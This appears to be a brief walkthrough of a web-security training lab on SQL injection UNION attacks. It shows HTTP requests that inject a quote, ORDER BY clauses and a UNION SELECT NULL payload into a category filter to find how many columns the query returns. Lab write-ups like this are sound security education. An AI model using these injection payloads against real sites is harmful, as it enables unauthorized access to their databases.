

SQL injection UNION attack, determining the number of columns returned by the query

Force a 500 error to start with

```
Request
Pretty Raw Hex Hackvortor
1 GET /filter?category=Pets' HTTP/1.1
2 Host: 0ab400d703e3afb3c06e708100040033.web-security-
3 Cookie: session=WVue5CmJRjRd051vG7uJvOMZYhkXYzeq
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
```

Enumerate the columns by "Order by"

```
Request
Pretty Raw Hex Hackvortor
1 GET /filter?category=Pets' order+by+3-- HTTP
2 Host: 0ab400d703e3afb3c06e708100040033.web-
3 Cookie: session=WVue5CmJRjRd051vG7uJvOMZYhk
```

Pets' order by 3--

DB Doesn't have 4 columns

Internal Server Error

Internal Server Error

Enumerating columns via UNION query

```
Request
Pretty Raw Hex Hackvortor
1 GET /filter?category=Pets' UNION+select+NULL,null,null,+- HTTP/
2 Host: 0ab400d703e3afb3c06e708100040033.web-security-academy.net
3 Cookie: session=WVue5CmJRjRd051vG7uJvOMZYhkXYzeq
4 Cache-Control: max-age=0
```

Database has 3 columns

Congratulations, you solved the lab!